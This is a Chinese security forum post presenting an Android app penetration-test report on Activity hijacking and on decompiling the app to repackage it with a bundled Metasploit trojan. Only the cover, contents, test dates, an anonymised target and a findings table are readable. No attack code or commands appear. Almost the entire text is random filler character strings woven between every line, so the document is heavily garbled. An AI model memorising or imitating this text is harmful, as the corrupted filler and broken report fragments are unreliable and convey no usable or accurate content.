找回密码
 立即注册
查看: 5236|回复: 0
打印 上一主题 下一主题

原创-app客户端渗透测试报告之反编译捆绑msf马二次打包以及active劫持漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2022-6-8 20:32:44 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
! p; t4 L4 s R/ ?2 Q( X7 C, Z$ X# Y! [( W

5 R8 u7 N4 o* t6 X: w# X 0 a' r( O, {- J c, D+ I
, E, U3 C" S# X9 t9 {, T" y ' ]. G2 S8 K0 }; p% }& h8 t

2 Y; |9 J& H% o ( {9 ~+ {# c7 h' Z
0 W, b3 x. y+ y6 {5 _5 n8 P/ g% d, X" S7 E

+ I( B* p0 u2 ?9 [3 X 3 R/ x5 G6 Y) t9 Z" f. n4 I, o) D 文档编号:                : m0 ]4 _# `6 f ) T8 P. }" P9 m& D

1 T. R+ \0 {5 s0 f* F& I # w$ W6 [, } E0 D7 ^% |

% g" O4 |, w @. q* Z) I+ M7 p, Y' u 8 J; ?; f. I9 P7 b) j+ h' {7 g2 F   0 J$ `6 g& L$ M' ? 8 g! F/ F! H& F# @

/ a" H% e. N1 F7 t; p* T0 F ' Y* i, f% A# P: i

; V7 G' W# C) d1 f) \4 J! B: r- d 5 J; s6 Z8 j4 y: L# j   4 L _* h( P" c" p, b 4 u3 B# S+ C* W' y" m& g) b4 s

, j# L4 Y9 `5 a+ R# M + ~4 C8 t" M% X1 S* z- x, h

" m/ Y9 `2 v* H, \ ( K' t5 ^, i; y$ \% J- q( X   2 M& a( n! h8 E. T# M ( d% I3 v8 ]% u; j/ @

8 ^* M# |+ J5 N- p% T7 _ * e, Q6 u4 R) S: f; r

9 Z" a# {0 R; L) ^9 t( S/ e8 Y2 {0 ^7 F1 j+ T; L% K5 G- m   8 Z- O4 q: |" w - n, v" [4 }% z8 }5 l3 c1 t

' N8 K( o- l6 f + L1 m5 [) a. r* L& H1 b6 l+ t

- `% ~' D2 r& S9 ^8 L3 K9 r& q/ E7 f   # E% E b% f6 o4 n8 Q0 ~0 B 9 Y; b% u/ b1 {1 w( @

1 `2 W! X4 a& P0 e ! \1 m9 k$ Z# _, h: d# S, {

1 }* J$ J8 q, |4 j& J. n/ C 7 m7 c& d3 ~) x$ U 某某某APP渗透测试 : @1 ~. H; c' h+ ^ , Q" ~# w; z" c& @5 h

) V5 P9 B. V) f) H0 B, w9 D; U' a2 C u, y

. ]4 J7 |# `/ d8 [5 } v $ |; j. p* e" S5 i4 U   & \, g1 p$ F; W7 O. X4 H: o8 G- S9 D9 k' s' N6 N5 s

H! g0 C% \ A7 w5 J/ W, Z& L + z1 U5 {% V# s g

6 E: |* C5 C( \9 {2 W. V1 d# [# o' _ ) u6 k! h4 `$ L3 g; f5 {   8 e/ K7 j: q7 |' j' ^1 M, \ : O% H$ i, i* h$ c+ u- [

Y+ g4 g! p5 ]* M \ # `! B; ^( g) z

. ~1 E. w6 o( T% [2 c }0 A9 E7 [/ N4 W   * H6 p3 A! Q9 \ l, B ( I _0 [! r2 K4 o

f% X6 _' @; O) R+ `+ G4 ^ 5 t4 } S4 g! ?; a- |( P

. k. K* ~' a6 | 7 o4 t1 m# ?: C x) }0 a9 f* j   & A, s6 [& D+ z; i( Y F) `+ i, C( Y" C

5 J1 M7 E2 q6 v0 |1 U ! [' i& }# }! [3 {) G

/ r7 @7 W$ r" `6 R$ T1 M, C* _1 N 7 _+ P0 H" @" W/ |7 ~2 K: N g 技 术 报 告 9 R. R! r( I& N: B: {% F . s$ y* m" v- G: ^ ~; O w$ X# }8 V

3 c- r1 r* w1 g; m# C h 0 c5 X7 H* K& [( U

" B0 O E+ G% W' y& Q " w& N* v! E3 K( P# n g. ?+ D   0 r3 n8 R7 ?9 Z6 F% _ , ]7 c7 r* y# g$ s; N) n

3 Z$ }$ x( u1 H( d , S7 Z! ?& e2 r

$ u9 `4 x: w& B8 I: c: G3 I 2 V1 V0 i. Y, ^' x# B   # z0 S) {& X. s, e( s 2 Z; R' F5 b( o: n

* j0 C; U' J' w% E: F 7 u' w `; w- A; ]# |

w6 e+ ~8 a2 W& Z$ U7 ^5 |& ]$ d 6 z3 w3 r- O( u3 J   8 u' m* V5 N- W: m1 L. r * H% E1 v3 `+ B9 U) X& C( z

& i0 k1 y3 r9 S- U2 ~4 Z . D/ X2 h$ A3 a6 k6 I' j( _

) a' [! O# @- O, }# b* |7 q6 ^! ]0 g' ? @- G5 L0 _; n   ' A/ {' f1 N8 O( S+ }! O " }! R6 M Q# p* C5 L6 i! G

# ^) y$ N' Z z) ?1 | ) T) m6 l7 N" q3 c" F' f

, P, [0 W' N ~! p- K6 m8 z3 _& S* B + _0 K, R& W5 V' Y9 K) C) R   0 S: | ^4 Y. T4 h! R " ^3 r" W& ]' d. B- O w* J

3 e8 U0 Y1 A" ?8 j6 T8 W' b" S! o& n( I( R6 I9 e1 I

; h% Z5 x* t$ }9 K! B' C" }& |; a, D A3 u   7 z) J$ J" B% ~4 K! r# ^5 }: o0 Q3 g2 ?1 \

5 p- e3 V0 H$ o% z; k0 M ! m, l2 F5 z, m' \% l; a7 h; R; e

2 S. b/ ~8 V: T + {6 b+ ^2 [( ?" p4 T3 }   ! q; k( U0 u4 b" a( i9 q6 t* d2 m/ f1 E: m4 x6 V# [$ g E

# s2 b- f; K; F7 U' ` 7 v8 [( d: D8 j3 @1 {! y

. X. J" M- n0 g, p 1 m9 F ~' m4 q/ x0 _4 f0 S   # m9 ]+ U. m2 |$ v 4 I5 [/ _% p' d6 A6 a% Q

( S3 t; h8 l4 }7 W( O! n0 p * }0 K* F9 P" R: Y% j a4 r4 o

9 y3 ?! H) ?+ F/ g * ^! Q2 T \; m, W   - f, h O: W- r% [: c2 E$ U. \ 4 `7 Y( D1 J# `" G! ]

7 Q# w" {: p0 q; d# ~ n$ Q# f2 q& p5 t4 \# [

4 ~5 R* k8 M2 G& u6 B5 U- V$ t& I* H5 D2 n1 b) a& ^   / z. I( C9 r6 `% T. ~ % _: U2 c3 x- ^0 Z

4 y6 V7 I+ n/ Y ; h6 B I2 j' A( A s

8 u0 t# P& l L# H: S% d& u3 x* @ 8 O8 }" g0 E1 I( ^   S% | \% Z3 M2 v n" d. @ $ O: c% z) M; D

8 x6 z$ [) X% F. s3 g 2 x) O; v% B$ b y4 ]

3 H0 I* {8 g' g2 X! Y" T + E( o( E9 n6 C& B( a   % c" p4 b$ G/ W) t- E ; X/ X" a6 @' j1 u

' s) J' ?+ A) b/ R5 ^" u- t8 T; U& S8 w# f3 Z; v F* E; D

1 c0 n% }. t5 k- p9 P3 A" o5 P; _ " y0 W. q; f; d/ B   ( t: T, a6 N' R# b% t 1 Y! T" k% N. q% ~3 U% U

8 m# J- m& y$ g4 H. k . T* a9 y. H$ I! C! U0 A

- a S8 N& v: w 4 e, \. d0 b) c   0 A0 ?/ E! d7 l; G1 H+ I) n6 O) q ' m. N5 `- E- G" Z

: t, G! X; V% Z6 G1 i4 ^0 |4 {9 A) N# g4 }' Z/ `) c7 h

* S, Q# A! l1 v, r& q! C' F" q3 q% S( d6 D, P   7 Q! p" o# h1 y5 t+ C 3 x, R- ]9 @* ]/ \

3 |( _3 I+ @- P ) o. b9 V' H0 D! u" p

- w! A2 @. Y$ N p3 M8 R9 B. h9 h; M ) m4 A$ ], P* v8 F5 u* t0 |   0 a+ h5 i& C! z% f6 {, ^3 T( Y1 n" v: e4 x# U% F, f

" p9 r! n3 _8 t) R' ` 8 N- O7 _% a! k/ V

" s G, A. b2 B5 R5 ~& a7 B # g8 J* _1 o7 w. w1 k   0 ]% L0 R: P2 ^ & b5 M7 z8 K' K1 N, T

# u( L7 V& u' L# @ ' Y$ h# C4 f$ P: b7 L9 X

7 L' C$ B7 Z! H9 K4 g7 _ F+ W! k4 m9 w2 H3 f   3 l9 }* Q% s" r 9 Z8 g, A7 _- G9 U4 e8 r

) ^% B& ^. e0 m: E8 |: N+ ^/ W6 k . r0 F2 Q# I7 J; e, a+ I9 Q/ a

! V x1 u+ b) S7 ~ - a, @+ \& M: R: u) D 二〇二〇年 8 f8 ?8 y5 E" ], R: e V/ q7 H, i" }+ S* M! j: E9 ~

+ k5 N ?. u2 c8 J$ x% A 5 o* l- Y9 K' H# o
2 U# m2 q; ` Y/ \2 y" g" l0 E B6 o" `& r: j
0 l: x {/ U. d9 g8 ? % O( t' {( N9 c# K. _7 R
# O* z# `) ^1 ~( O2 }7 L 2 L# q X7 {# W5 O1 U
- }2 ?0 P# n3 T# q9 B( L- U; S! @# d) }% T" n: ~- {
* }- p+ A5 ~) d I. t6 V2 Y7 D 2 N8 \ }! a" r4 Y* R* f( q
Y4 k/ @6 e# @: I: C+ b9 T ! R* \& e% m+ N0 C4 c& q# s
8 S, Q4 q2 K' C# S) m/ v8 L* Q3 t5 B# d: H, i9 B5 K5 T8 A
$ i( a% {2 ~$ \: k' g( Z B. c 1 C3 [) d# m; R6 A, B6 ]+ l# E

$ M' b' \: _0 @* |. Y" _ y r+ O2 ~1 D0 U9 G' J( j& D6 F 目 录 + i6 \4 Q! T) |/ k0 C( q- @ 6 {2 Q4 k% r7 L: ?( x/ K

B, ~& u$ B e" y% O8 N( x 1 Q: N3 q# X. @ ! U E; b7 z$ M7 P0 U+ H: L$ Z : X8 @4 d4 o0 D& t* b: Z& `, x

: \ r+ N. e/ c+ k9 R9 x 5 F- J/ i" r: P   ' g V& x- e: z' i ; o5 x$ k. P7 n# X1 H0 e. z9 @" C

9 _; l p. K4 ~' O( J9 I+ D9 Z* i 4 l- Y, l% \5 ~7 T `/ |" |

+ G! t$ |$ d$ d3 s8 E( ] 4 c: u8 Z1 s' p* B5 D 1 概述... 3 7 a" s! I9 ]8 k$ m# G 1 _, Q' g- Q0 ]0 _5 J' w

0 Q3 H1 C+ p) m9 D! p. q+ B$ N# |' i6 ^( l& S b9 Q; \, [

/ d' m0 g S, y! g+ g, | # q% f% b$ M' M# g0 R2 d6 s 1.2测试时间... 3 3 Q# z8 w P& N8 o6 E) ?0 n1 x/ z6 g& _; G& |1 j

. w M# F8 |4 [' ]& k+ I 6 e! W; A8 P2 w" Z p' j! P0 \

& {1 H5 {5 Y$ h; _ 2 w6 h4 d4 S( W1 L. ~ 1.3测试对象... 3 0 `# A- A) I3 X7 [8 ? $ } D. T" g! t0 f9 L

! n8 ` ?8 ^; k' i; G2 i 1 I6 F' J$ c: I7 w" }9 Z

: {3 f6 D2 V! |; a' {- h % U4 c9 r' x' E9 }( \ 1.4测试结果... 3 + N$ y# _0 I' I 2 m6 ?9 A( g* K: l2 u8 M

" y2 Q1 p0 [$ l- Y * G, B- d3 a) Y7 q& q

: \+ z/ Q4 B7 {' f; p1 @1 D * m7 }) a3 Q0 X" r0 I& r* N 2 检测结果... 4 3 u, L9 S) w. V$ c, C, z8 \1 o4 n! i2 @5 U

' O0 d% Q; N2 h/ f. F' p- F & e0 d6 u% B/ ` G4 A

% i7 N* M& j6 Q- T/ e' v, T( J/ X) f( h/ M. K3 [. e! Z 2.1 某某某... 4 * D( e6 Q0 }$ m: M7 g ( c( c. c% D* e

7 e$ A: n) u% P, k J7 s0 I* l$ G: N) b& } [; e8 g4 m

, ^! f* A |: { ( W; r! X, i7 T5 L1 S: a" L% o9 R0 N; u 2.1.1检测目标... 4 & @2 P7 l+ @5 T# f) U! k! o$ W+ J 7 q" R3 q/ ~' S" ^& b0 I* {1 @

; v9 U% j, i, ]4 Y; {' U; d. ]9 e& u6 U0 I& R, u

; ~3 k; t. g8 C4 t % A: b) t9 \) ? 2.1.2检测结果... 4 & c! e* {+ E. }/ F) S N1 k* P( c) O2 l) d5 Z

7 ^, K( @/ _# u% @2 m5 F, N b9 \# m( S4 r- t0 A" b i

" X8 }- O/ R( X) [ : e9 k& U/ g4 [4 A+ G 2.1.2.1. 4 , V4 D" _3 K7 g. l6 a9 d% c7 D8 b % F, o% n( m5 ^. N; w

9 z6 L3 H7 h S3 n8 G0 q( D8 l l7 j

/ j6 A5 i T( r8 C \! E$ o# A4 G3 ?- J, Y! d 2.1.2.2. 6 # l+ Z+ X) {8 L: M 6 a7 M) K, d4 c) t; V0 g# |5 R1 w

" m9 M% {, {. r% Q9 x . [: ~$ a% K2 ?: C7 j! }, @, Z& C' D' G

- T+ s; z- X# I 8 L8 ?% P( b6 w - M) j6 j1 s% Q' ] & t, j. o) ^5 g; B- ~

% a, n/ G9 e% |; L5 Y6 y: ? V E9 `9 e: s7 p7 ^+ P
. I. B/ j3 |. e' I0 M" a0 ` ) X% p& T: l- V2 P3 }! d$ d( Q! Y
5 r, l: b9 \' r# _' L+ V7 V 7 b, `* q5 \' s0 o7 e0 F
7 s- W/ P1 q4 T( R; I; \. |" t : \6 P& M d: S4 \6 K
n8 o- X8 D* E: P 0 f7 n0 @; w% J y! [0 A

: z' ^3 y! w, A6 W1 j- S : r) n( m0 D R0 n 1 概述 1 }( ? O! Q" w2 Z" f# p - G y' y) c& e+ }$ D

! n5 U$ w" I+ }8 a9 I0 j& I. d) T 3 k) H6 i3 D }8 i, Y

* s R+ F. D3 ~+ d' h+ _: x/ U( J: B 1.2测试时间 $ n3 r5 w/ k5 ~3 b7 i; S2 o$ z9 Y, w2 R, W

! G- x% D- E# O' _ : z9 U, G# f1 I / X# t% m' I& a/ H$ N. [! [1 T$ n V& e6 W, P/ { o* R" ?5 r7 @" C6 l+ e6 A4 N& W$ z: p4 ^, N6 [, o3 g) g5 b5 i. _4 b& k& U$ Y4 p3 N j5 k" q$ t/ P# n, S+ _" G8 E, [* a8 f: m$ W$ h# {2 t& l8 h; a' e+ V. S7 ]* g! \" K, f; ~" X; |; j$ o5 D9 a" F8 k0 j) k- M! u$ w7 p2 z$ K8 K3 Y# T0 v0 w6 z) h" {1 S2 T: x# \; O# W; k, X4 O, V# S- p( O" k% B. @% W; S G; E5 P7 C/ m6 A5 J1 w5 a( y( c) ?, F5 K& ~* h; F4 z# I: G p3 D* L' `9 e9 n( X# m& A8 K7 n& C7 s% Z/ m. j( t( ], p2 \7 I) H) Y2 K1 `0 ]( |% o# J/ K: P$ r$ C4 o3 f" B$ G# L. P( _9 |6 k: n) i" b! h6 ^& E" D# V, ^3 w5 q) C6 o2 W( E, v/ S1 W7 s! ^+ C3 n I2 H9 |9 M8 W$ S4 n4 ~- x4 s: H5 i" C- S" G8 p' g/ u" l6 i9 R0 y+ D' S0 Z) q+ M: I% B$ `9 {+ t
$ `/ k! h: F ?9 j/ W. C; L $ v r1 M6 r6 E/ e6 ^/ n1 O0 \

6 I% V s R) X( B' _! ?" M$ ~( } - ]: y+ h/ m9 N8 Z0 a 渗透测试时间 p: B. u' g( N2 m: V : R K- S# j# l9 K9 Z* l

$ N6 b' A- t8 r" A- W ! P+ x2 y7 p9 o8 g. F( q
/ j! f( t1 b0 f( F' e; \ # k3 n3 l; M1 u

) f$ g) H3 c: A 6 x+ P4 J" h& L/ N2 L8 U1 s% v 起始时间 / e- g4 B- |: ~$ \/ j ( t! E% v, n; z% Z" T5 h

6 W4 Z; @2 A/ }7 y; r ! w9 m+ G' V, c { B* o; c* }
( e, P9 n6 E0 Z1 I8 U/ w , o8 a# I7 |& j0 V. d

( \' ]( n' P9 |- h& P7 `+ } 9 Z3 f' a; E( V R! Z/ P 202046 & ^5 |& @4 W3 H6 |! U, @7 |1 ~ Q- d

: U0 Q$ { }; N. u$ f ! m* `. \& _* _; Z/ Z
3 n2 @- R7 ]8 }/ x 7 |0 f6 y! ]3 N9 ?

4 x- W" y# Q% ? ? % z: a9 g; e' v5 K9 ` 结束时间 # Y: E- Q! J' ~- }3 T4 a" J1 h 9 ~( w; D* g" B/ U |/ M

4 \4 U. b% X$ L5 V. V/ ~ ) ~# Z# f$ C: V$ _
6 c" L1 j, J2 s7 n+ t 4 J5 A1 o" G! d: L, L: x

6 Z, T) ^3 G2 [ + U" f, u, K1 L3 ] 202049 ! p0 Z0 k. J) ]' T% V) T$ C6 w; O0 o* `

, h% X( L _$ i3 O" C ' }8 g+ N6 ~* U/ K( E2 ?
3 F6 O+ f, \) O, V* i 3 O+ I d4 ^; ^) P" o$ ?" l

; ]: n* o' [) b' B' j ' Y( k" W; K9 }$ b( r 1.3测试对象 9 J7 M M4 w& X3 A" @! ` - T0 {* u8 V. |! C# q; D

( k" t% U' |5 b4 j3 H+ Q) r7 Q ; n0 U" R4 @: d$ I

9 m7 M5 n+ s, M! U, b$ d$ ~0 s1 p$ B . X% l$ H+ l4 E& r1 ] 此次测试目标为某某某安卓APP进行渗透性测试,APP存在安全漏洞数量如下表所示: ! l* f9 O' r" I0 M' H& D; ^9 w, j! g5 }" F+ ?6 R

9 Y4 D: H0 g5 R o0 k $ q( D7 S% ~) w+ Z% s& i

% T9 N2 P2 Q" P) h : ]6 l) ?$ X3 X' m 1-1 检测对象 $ M- P3 o& t3 V' u& f, k9 {& ~% V' K7 W9 W- w$ K

: f3 W9 x) |3 }0 H- o' M9 a! {, ~ b( w: o8 H0 p. X! K- s 0 T- }+ T( p S! L; `- X( h) b: d4 u6 g3 [0 ~4 z7 M1 N6 s; c2 X0 q2 \2 ]. p" ]( U& {4 t. _" ?% q% N3 }7 k2 J! m+ _! C( n3 ~9 ^ Y! h3 k* o1 k+ s: k. @$ u' _8 M2 W& v. Q( |8 X o, u" B6 f( U- y9 P: h J# G3 U9 K0 G( ]* r% s S4 {0 B3 P) g4 W' B: o* M7 m7 o; X2 Y% m4 o+ O/ ]- X! C/ m( R) _, M/ h) [& U3 U/ i6 k/ D# s2 E) N$ W% y+ r' e: z w! d" r5 ^ @6 c) j7 d0 M0 q5 m) \2 j1 ~3 ^& D2 ]2 Z2 J. L; C6 ^2 O6 a1 J1 s/ E5 s- y( a: V6 @* o: N o7 r- U; y+ A1 C" P. o- s% t& m5 O8 I' ~* m7 \4 R I9 ? g: H1 X5 P: V* e& J! L5 }) I m7 u# s8 V" G8 V4 F5 X+ N8 O9 n3 P( p7 s! X' R) X, Y E7 b* r$ c; c- [* z! ]' y" M0 M* ]3 o6 A0 w: C0 A* {3 l$ o9 b+ z' h9 p R1 Z: i. f8 b% ~ M7 Y3 \$ `+ v7 ~4 v6 r8 l1 C6 s# ~( x% W% O3 b6 e0 `% C y6 K4 ?6 A" d7 N/ n' A$ p" Z$ |1 I
% a, A3 J" h6 l( @7 M E; n8 {! l+ u1 ?, k

* u& L5 C: C5 K% o0 O" |* K* F, m3 r" f+ M1 m+ f! s 序号 * _9 y0 D" I$ U* Z3 c ; A6 g" V/ I% ]% M" i

4 _ w+ V8 { r 8 ?+ R- f, j$ G- x; q! B8 k
p( | c( h! X R0 F' G: [ 1 k) q: C* U2 H$ Z" r( a- m

: M# K& ]" y6 W6 v* j) o2 t3 e . H. G' j+ `1 e) B2 M& O% W" C6 ? 测试对象 4 G3 {' G- {8 G# E8 a# W$ p- w% ~, D6 `+ R- Z/ k; ?

* A% G& |; X( h3 { 9 U7 ]" C8 ]; h/ B
, n4 V# }9 v; A, m3 y6 ^# }5 B7 _& q/ _$ _: g

: h) @9 |& E$ K8 w$ } - K: u" Q) `* _; R; _7 Y 测试地址 # ~# G0 O4 |$ @+ ?" x $ G h3 b* z9 A; I* [

5 n* g+ {2 C8 u: ^1 Q& |1 E8 N% n
% G' W& W: \4 W ' C5 q, i: Q2 }8 K

' C: b) w- l4 `% M, K6 G + P9 [0 L1 t: L: Y0 L4 E6 s 安全漏洞 ( a1 C& p. j6 W- S / Z! ]/ F) e$ v, x! A

, _. j3 _- u0 `3 z # D$ w8 _6 `/ n! f
; ^% V* C- Z& a% Q, S2 B7 F% p% k9 y % J* `; Q% r& [

- H) p" ` S6 z# a0 s8 s 3 ~+ i+ f; U0 p- t8 t- N% I 1 ; C } q2 ^" O2 } & X$ v8 F g9 N* K4 _0 }7 P5 s; _

) I4 i( a' B ] 8 s& l. X0 U1 i4 O: v9 B+ t6 T/ M
1 R$ w$ _: w! n 7 f8 @0 C4 {( a

& }* e4 D7 S6 b) ]7 C. q- ^ 9 G) v! A8 P0 T/ x$ _ 某某某安卓APP ) c: E: y9 y- x+ s o0 | % N! V% j: P0 E

( D6 c4 p# |- [& ? ' I* u7 w( j( q' [* ~. g3 R! Y
% w8 x% n- `% B# [( U+ a , g+ \# k f$ m' z/ ~! e

- B) [8 L) g) `) Z1 n$ x7 d8 Q- B( Q9 Y: }1 A3 e" ]   # X4 @) M3 i( W8 I6 J 6 ^* H' k0 \) d4 K/ V

" Z4 h/ T" W* u! k. S9 k( Y: ?: n/ F) J/ B
" u m# e) Q: ~- o . a: V' F8 C; I% t) v+ F5 b+ T X

2 {4 C: @* `; {! Q- i1 Z ! d) [- C. a' _ h% O0 f. j6 h, Q4 |: i 2 : U) G, e0 w& n + t7 Q* m* y1 F+ s9 |

- q9 k6 m+ t' }+ _8 i5 z- `- o % }4 h" i9 i; j: F7 Y
9 r6 y8 g9 t/ w2 h' U; X3 S # T4 v& {& E5 l3 ]/ W# H; Q% H6 m

$ ~$ W- e0 Y+ g$ J* N9 Y! _: K2 v" m8 b X# k; K }* i, R. o+ d% L 1.4测试结果 / ]6 B- J/ x7 b& n% T, i6 l) Q9 m5 o# e" ~+ q1 M

) |) W- \3 X% z8 \ # Y, @' ^; I8 ~1 c$ T) d

- X, u6 f1 P, u; r & b7 T* W ]4 k$ A0 I2 A6 i 在本次对某某某APP透测试中发现,APP安全防护存在一定问题,主要问题如下所示: & [6 b2 W+ ~ n, D6 ]! d0 t8 P6 w8 W- P y

+ [2 N" u/ Z8 d; f+ O: N+ j( J( g, w 1 d9 D" o. [ @9 J* N( D7 z5 M* B: U9 V

, ~ L4 k& W# q5 G( z, f) z 2 E6 V5 @. D* R/ y   : ~/ S/ x4 E t' \0 x) W5 g8 X ' I- g, C" ~( f

; @5 |! A" }& z( F 2 V3 k$ K% _$ D6 l6 u( @$ m* Z. W/ R H
* T" S; D. ]( _5 v( a9 L2 [ 4 R; T: [( W0 G/ ]! u' u $ O. Z5 E6 w3 ?% [% P' G- f6 v* z5 ~ _7 _2 ^( R/ k) \- {# Z `! K+ V, P' P; i- T$ t9 `( P& c( P1 B4 Y7 {" p1 I$ ], a3 E1 f. Z0 _) _/ I0 ]; I5 s5 c) f. U7 `4 N* G9 L" D8 X M9 Y' C! ?) h& s' N0 I2 I9 e0 k0 d4 m9 k9 W9 K& [# w6 M: y6 V$ e3 ~% a; r: s* R2 p5 m7 g q i( e) l: L0 H2 e# A& U. d4 P. O0 o* G8 b" J" n9 A6 A; V2 }% |, l8 W% ?$ \" s, j8 B# t! p# W m: `, o. q+ v E4 J8 t6 c7 ^6 v3 w* v, D* u! x0 m* B. ?. M2 T4 k* I6 F" {( s# o" |( s$ `8 X5 @3 w. x" h: m2 H0 u. m F, e: S6 [$ d* y! a% u% _$ M8 w: T' U. i! h5 _" E! P! `; R5 c1 C6 k- h: T. N( B- ?0 Z* o4 T4 o! v8 r- k1 b' |* }! I0 v# |) L. @2 @0 V5 d% q8 i& S9 H9 n8 r& v1 f7 m2 k6 z6 n: S i S9 O6 z8 c# L' U5 a1 C1 b5 [: w+ y5 H- h- S( C' B) v/ Z, Y! c- n4 x p1 u/ _; h$ O7 [$ n8 l7 Z9 j5 t0 J4 x: s0 o0 @. V/ e6 E% d$ r: I. c0 v$ O4 S) j3 X" l! o7 o _& i+ Z3 r+ K4 ?' [- ^/ V# v J1 K, M% H6 u/ ~. Q! F, m* ^9 e7 o1 t9 Y9 X6 g. \2 S. O* G/ c" j( I9 w; A6 ^( Q/ d- g1 p& Z. o8 P9 n# S0 p6 k% N. Z( f" \, Z4 Z& G& u: k; H% M1 X1 @' ]; y8 H l$ d5 D% Y' x' s8 V* d. E$ ?. g8 \) R& \) d+ R. I% a0 d) A' Z8 z$ Z3 \4 ~" \* \! ?2 o8 Y+ |. f, M& B2 v. N9 J7 W, i* j& `1 `! B, Z* V, m( K R1 n' T% {9 r q/ N. E" V1 `& m. ]7 h7 j7 g/ b, ~
6 ?! W. C) A r; r ) c3 z2 W0 K K, v7 `

- l G9 h7 q) p, {! V) E: T1 y' B' |# ?2 Q! H! @0 ?4 [ 序号 0 R4 f ^: G7 y( @- w$ f0 o ! r1 T9 O J: ^9 p5 y+ z

* W- {& s7 F% Y& `6 Z _9 `" m * | B" N" l9 n. P
: |- k) `) A! ^* ~# x 4 a! \9 b4 F2 D6 E: C3 z" k

" x* q. M. v- _& A$ F( L" o7 B0 s" ] 系统名称 5 A! d2 I5 C) g5 f2 B8 i * _1 ]/ G' {: R4 X/ a4 X, M) B

/ n( R. J3 _9 B% r. O% m! c4 r8 D" h# p
3 ?1 E0 X) A, T' @* l + T7 U5 _) A) Z) @, a( Y. g

1 g2 {7 s: p; B& G- j1 ` . G* O D5 X" s: T 漏洞名称 - F! D4 o2 \3 T 2 `4 _$ \5 `- [

4 ~+ J8 m7 f! m# {/ T $ c! m2 E- Y9 V0 l& c
) b o9 k( O6 [ 1 n: |, f4 c# R/ J, a, B A% q$ B

5 ^9 V: Y N6 N% L/ j% R) w @. B4 m8 O9 A3 ?% v# W; h/ ` 漏洞危害 ! N; }. j5 e( i& Q5 D 2 z: N; S; s, Q0 n+ D

5 B, H9 u7 ^+ A8 N- m 2 O! ~( |3 u: v+ Y6 A, T- `
# _2 s* M' b# d; t; m" q+ ~ ; a& u6 ?) L" a8 c- H z

, Q, e" R, k6 b8 C6 p9 H ! f. d4 y a0 ]$ l 修复结果 ! p0 c% B' G' t! I3 i2 @! B $ y) k8 R1 [& ?& A# h7 O3 }8 I$ j

, I4 l0 o' x4 q1 T1 N- k - T0 d5 b1 p0 v' A8 }
; W. z! }4 A! n 4 ]$ L/ N8 W& d, w j

# T# n# w* Y" G+ }% s* r* V 3 P! l" m$ |, k2 B$ M. J: }7 ^ 1 + {1 k8 P2 v% |3 a1 Y; M 8 s6 f( j6 x! f+ X, `9 W! Q

. t6 Q3 F- y0 {% ^1 L: L4 K 9 U" T1 K2 Q. |+ y: b5 V+ e
. G4 k- K6 Y! h5 g7 a9 s) \4 [" m* M6 F% h& {5 G

/ g; T: i) Q- @$ k) K, U # p9 F5 _0 U' P P/ K 某某某某某某APP 1 I. Y7 O) N7 s* g* k5 O- {" M2 b : a: v: u% k. V5 `- I* i- y- a

! h. j+ u2 g4 o 3 J) H, [) C$ Z" R6 }
8 ]% `2 Y. B% j5 D) r 0 {; o; n3 ]7 \! O& Q

; s# U- q' y) b ; X3 X3 }' }5 x0 t Activity 劫持 7 R0 |8 d8 u( X0 S # e; m9 T! b$ Y. t6 o

0 M* g/ m/ f- T( v " r& `; ~# {0 t

8 p6 f2 T: T; Z5 d9 K5 F7 u 0 `9 L! b9 E4 u1 t J   - o3 L7 K; R# t 9 g7 L# [: U& W. @: {

4 v+ X) h/ {9 y" b+ f8 m# K1 X) v ' z$ @ |0 Y2 b8 W( o
2 ]* i! a7 w1 v0 n9 u 0 m; z$ r5 |# B* A. H# x n: p- R( ], H

1 ~7 q! v0 ~8 c8 Y/ W7 D) v# ]( f$ ]5 q* V- T1 X , g8 u0 u( S2 g1 i2 S 5 y/ |5 J4 f4 P- v: ~$ F

, O5 ]) f) t; F9 T2 q0 J; ? ) i* x& j: L% r. n
% s, c" i% F8 z3 e' c 6 X3 Y( ? [# q3 |. R

. |! D+ I# F6 P' H- V) [ 9 F0 i8 X: F- e" z/ |8 c   - A+ ^" J" w; y- r0 Q V7 Y2 x3 N" ?3 B9 S

% g$ r* u0 M% k3 k8 W, A' \3 o' D; {5 v# Z
4 E; o4 A* Z4 l; M! A; | * X1 s) U9 y+ L5 C

9 R3 @ V+ g ^; Y( J4 Q ( Q. ]3 l! q0 B 2 " M+ w! V: V/ E) X # f9 u$ y% \. J

4 ~9 \" V$ y* u8 c F9 _ ( B% p. U+ t6 [0 a# G: z) G: {2 a+ `
2 e7 g, U$ v( {3 t+ l2 s. m' d 3 G; x Q4 l7 @3 b8 r1 r! G6 ~

: o4 x/ q& Q$ y7 h& Y/ F& \7 c* v$ Q( l/ W" E! E) l% @( C! \ l 某某某某某某APP 7 s# M1 b5 J: U4 {' u ' M5 x! n$ v h9 b2 Y4 m& r

$ j" k5 ~! j9 q7 M9 X: P " i" R1 L" x- [2 ]3 J: C; p. j2 Z
+ C9 n# D& h% ]7 x2 t K. ^# i* @* k" R+ ] _, y' F9 m

+ w6 G2 V, b j7 v% {. L$ Y% H' f : y% l" d) d- M. r5 q, S; P 反编译二次打包捆绑木马、篡改APP代码 : H( Z. h7 n( ~; m5 o3 D( S0 o & q; Y m* ~" K

9 M5 s+ n$ D- r ; R: w5 w, E" J
! z# i9 ]% e4 q# i $ @0 b' i% Y9 U9 C/ T, J

: f, E) E9 l- i 6 K! e/ H( Q; \8 D, h, E" X ; x" q& R8 a. _# R/ s: J * ]% v+ u( M0 q2 D+ ?# k2 J5 ^

/ T. Z6 f4 t# g; n1 ] 7 D) ], L1 E" c( g& D
" t1 E4 X) |" k " j- r& k3 _! w L! o8 ]3 b' n: K d

0 E8 V3 d! L5 q, k, D; b- y6 f, D ( y. N5 f7 P4 M% N0 n: H   ! [6 ^6 s0 s# _, k% z 6 l* l# U) d9 D3 i: G

3 _' w: H/ |. x: I! {$ i) F 0 P. X! U1 A0 [6 Z
7 p( ~6 F; R8 [! h " _. U: m: M, h0 Q
& g8 Z& m. k: n' R9 m5 r% v* u) K/ [" m2 e& F

3 M) P9 Z- h9 T: ]2 G }8 R 3 H" m$ d u. E   & f/ {+ {+ f7 i& T2 Q + `( ?' d2 r$ X; C

7 r v- S( y+ P& t7 ?8 o% J2 | % Q* A" b* l% Q

, F" ^* A @$ |& T" z& \ ' |2 O" e/ f& k( u 1-2 测试结果 * `: w1 g# y7 e& S m $ d: k# ], y8 Z7 Z$ ^# r

